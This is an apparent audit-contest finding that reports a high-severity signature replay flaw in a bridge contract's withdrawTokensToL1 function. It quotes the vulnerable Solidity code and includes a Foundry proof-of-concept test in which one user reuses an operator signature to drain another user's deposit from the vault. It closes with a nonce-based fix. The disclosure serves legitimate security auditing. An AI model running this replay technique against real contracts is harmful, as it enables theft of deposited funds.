Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

Possible signature replay in `L1BossBridge::withdrawTokensToL1` function leads to witdraw more tokens than the token's owner has

Summary

The L1BossBridge contract uses ECDSA signatures for authorization, but it does not appear to prevent replay attacks. An attacker could potentially replay a valid signature to authorize a transaction.

Vulnerability Details

The L1BossBridge::withdrawTokensToL1 function is external and can be called by anyone. This function calls the L1BossBridge::sendToL1 function. In the sendToL1 function, a signature is used to authorize the transaction. The signature is generated off-chain and then passed into the function as the v, r, and s parameters. The function uses these parameters along with the message to recover the signer's address using the ECDSA.recover function. The problem is that the contract does not implement any mechanism to prevent the same signature from being used more than once. This means that if someone has a valid signature, he could potentially replay it to authorize multiple transactions.

function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) external {
sendToL1(
v,
r,
s,
abi.encode(
address(token),
0, // value
abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount))
)
);
}
function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public nonReentrant whenNotPaused {
address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);
if (!signers[signer]) {
revert L1BossBridge__Unauthorized();
}
(address target, uint256 value, bytes memory data) = abi.decode(message, (address, uint256, bytes));
(bool success,) = target.call{ value: value }(data);
if (!success) {
revert L1BossBridge__CallFailed();
}
}

Impact

If a malicious user has a valid signature, he could replay a signature for a withdrawTokensToL1 transaction. In that way a malicious user can potentially drain tokens from the vault to his own address. This is because the withdrawTokensToL1 function calls sendToL1 with a message that includes a transferFrom call, which transfers tokens from the vault to a specified address. If a malicious user can replay this with his own address as the recipient, he could repeatedly withdraw tokens to his own address.

The following test function testUserCanWithdrawTokensWithOperatorSignatureMultipleTimes() demonstrates how Bob (malicious user) deposits some tokens and by first call to the withdrawTokensToL1 function (Bob has a valid signature) withdraws his tokens. Alice has also deposited tokens. Then Bob calls the withdrawTokensToL1 function for the second time with a valid signature and drains the deposited amount in the vault to his own address.

The test can be added to the file L1TokenBridge.t.sol and executed with the command: forge test --match-test testUserCanWithdrawTokensWithOperatorSignatureMultipleTimes. Of course, in the setUp() function of the file should be created addresses for alice and bob.

function testUserCanWithdrawTokensWithOperatorSignatureMultipleTimes() public {
vm.startPrank(bob);
uint256 depositAmount = 10e18;
//Bob's initial balance.
uint256 bobInitialBalance = token.balanceOf(address(bob));
token.approve(address(tokenBridge), depositAmount);
// Bob deposits tokens to L2.
tokenBridge.depositTokensToL2(bob, bobInL2, depositAmount);
assertEq(token.balanceOf(address(vault)), depositAmount);
assertEq(token.balanceOf(address(bob)), bobInitialBalance - depositAmount);
//Bob has a valid signature and makes the first call to `withdrawTokensToL1` and withdraws his tokens.
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(bob, depositAmount), operator.key);
tokenBridge.withdrawTokensToL1(bob, depositAmount, v, r, s);
assertEq(token.balanceOf(address(bob)), bobInitialBalance);
assertEq(token.balanceOf(address(vault)), 0);
vm.startPrank(alice);
token.approve(address(tokenBridge), depositAmount);
// Alice's initial balance.
uint256 aliceInitialBalance = token.balanceOf(address(alice));
// Alice deposits tokens to L2.
tokenBridge.depositTokensToL2(alice, aliceInL2, depositAmount);
assertEq(token.balanceOf(address(vault)), depositAmount);
assertEq(token.balanceOf(address(alice)), aliceInitialBalance - depositAmount);
// Bob makes second call to `withdrawTokensToL1` with a valid signature and drains the deposited amount in the vault.
// Bob can replay this call till the balance of the vault is 0.
tokenBridge.withdrawTokensToL1(bob, depositAmount, v, r, s);
assertEq(token.balanceOf(address(bob)), bobInitialBalance + depositAmount);
assertEq(token.balanceOf(address(vault)), 0);
}

Tools Used

VS Code, Foundry

Recommendations

Implement a nonce mechanism to prevent the replay attack. You could keep track of a nonce for each signer. When a signer creates a signature, the current nonce would be included in the signed data. Then the nonce would be checked when verifying the signature, and only accept the signature if the nonce matches the stored nonce. After accepting the signature, the nonce will be incremented, making the old nonce (and therefore the old signature) invalid. This mechanism ensures that each signature can only be used once, preventing replay attacks.

Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.